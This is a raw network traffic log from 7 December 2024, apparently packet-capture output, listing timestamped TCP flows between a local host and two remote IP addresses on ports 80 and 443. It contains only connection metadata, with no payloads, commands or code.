Dec 7, 2024 22:40:45.815237045 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.815296888 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.815380096 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.816157103 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.816200972 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.816265106 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.816314936 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.817080975 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.817212105 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.817257881 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.818037987 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.818159103 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.818203926 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.818989038 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.819036007 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.819072962 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.819916964 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.819962978 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.915997982 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.989856958 CET	443	49810	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.989918947 CET	443	49810	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.990025997 CET	49810	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.990211010 CET	49810	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.990228891 CET	443	49810	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.990238905 CET	49810	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.990245104 CET	443	49810	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.992794037 CET	49815	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.992816925 CET	443	49815	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:45.992904902 CET	49815	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.993036985 CET	49815	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:45.993050098 CET	443	49815	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:46.035439014 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.353430986 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.353472948 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.353575945 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.353859901 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.353952885 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.354020119 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.354784966 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.354847908 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.354867935 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.355083942 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.355711937 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.355762005 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.355819941 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.355863094 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.356631994 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.356677055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.356837988 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.356882095 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.357584000 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.357630968 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.357657909 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.357700109 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.490874052 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.491007090 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.491122007 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.491288900 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.491456985 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.491511106 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.492213964 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.492314100 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.492361069 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.493227959 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.493278027 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.493393898 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.494667053 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.494710922 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.494890928 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.495088100 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.495322943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.495347023 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.495373011 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.495393038 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.496016979 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.496067047 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.496090889 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.496131897 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.496907949 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.496952057 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.497035027 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.497081995 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.497859955 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.497905016 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.497987986 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.498030901 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.498786926 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.498935938 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.498987913 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.499758005 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.499878883 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.499943972 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.500732899 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.501763105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.615660906 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.615778923 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.615817070 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.615858078 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.616101027 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.616144896 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.616363049 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.616409063 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.616427898 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.616463900 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.617229939 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.617292881 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.617379904 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.617425919 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.618191004 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.618240118 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.618271112 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.618315935 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.619133949 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.619180918 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.619292974 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.619333029 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.620390892 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.620439053 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.620497942 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.620544910 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.621078014 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.621124029 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.621175051 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.621218920 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.621957064 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.622006893 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.622051001 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.622095108 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.622924089 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.622972012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.623002052 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.623040915 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.623929024 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.623958111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.624010086 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.624775887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.624825001 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.624861956 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.624898911 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.625797033 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.625844955 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.625885010 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.625926018 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.626683950 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.626729012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.626802921 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.626851082 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.627613068 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.627662897 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.627727985 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.627768993 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.628577948 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.628621101 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.628762007 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.628806114 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.629569054 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.629616976 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.629687071 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.629731894 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.630445957 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.630497932 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.630554914 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.630626917 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.631383896 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.631429911 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.631490946 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.631530046 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.632342100 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.632392883 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.632467031 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.632544994 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.633343935 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.633408070 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.633431911 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.633471012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.634232044 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.634282112 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.634344101 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.634385109 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.635193110 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.635243893 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.635292053 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.635335922 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.706341028 CET	443	49811	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:46.706975937 CET	49811	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:46.707005978 CET	443	49811	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:46.707443953 CET	49811	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:46.707449913 CET	443	49811	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:46.740876913 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.740945101 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.741082907 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.741281986 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.741328001 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.741388083 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.741436005 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.741466045 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.741508961 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.742335081 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.742384911 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.742402077 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.742441893 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.743275881 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.743326902 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.743360043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.743403912 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.744230032 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.744281054 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.744313002 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.744364977 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.745157003 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.745207071 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.745271921 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.745321035 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.746115923 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.746170044 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.746202946 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.746252060 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.747044086 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.747092962 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.747137070 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.747181892 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.748019934 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.748068094 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.748116970 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.748158932 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.748963118 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.749007940 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.749089956 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.749145031 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.749864101 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.749917030 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.749974012 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.750020981 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.750853062 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.750901937 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.750932932 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.750977039 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.751801014 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.751861095 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.751934052 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.751981974 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.752707005 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.752758026 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.752783060 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.752824068 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.753647089 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.753696918 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.753731012 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.753773928 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.754606962 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.754659891 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.754693031 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.754734993 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.755557060 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.755608082 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.755645037 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.755687952 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.756485939 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.756539106 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.756578922 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.756623030 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.757488012 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.757538080 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.757565975 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.757611990 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.758400917 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.758447886 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.758498907 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.758543015 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.759340048 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.759391069 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.759442091 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.759490013 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.760260105 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.760309935 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.760381937 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.760428905 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.761215925 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.761270046 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.761327028 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.761379957 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.762360096 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.762415886 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.762468100 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.762518883 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.763159037 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.763214111 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.763269901 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.763315916 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.764065981 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.764118910 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.764151096 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.764194012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.765008926 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.765059948 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.765141010 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.765193939 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.765923023 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.765973091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.766062975 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.766110897 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.766932964 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.766984940 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.767018080 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.767060041 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.767839909 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.767887115 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.767945051 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.767987013 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.768765926 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.768810987 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.768847942 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.768889904 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.769700050 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.769750118 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.769800901 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.769843102 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.807538986 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.807590008 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.807666063 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.807719946 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.808029890 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.808075905 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.808181047 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.808239937 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.808969021 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.809020042 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.809072018 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.809113979 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.809905052 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.809956074 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.809993029 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.810035944 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.810868025 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.810914040 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.810915947 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.810961962 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.811834097 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:46.811887980 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:46.811911106 CET	80	49790	185.215.113.206	192.168.2.6
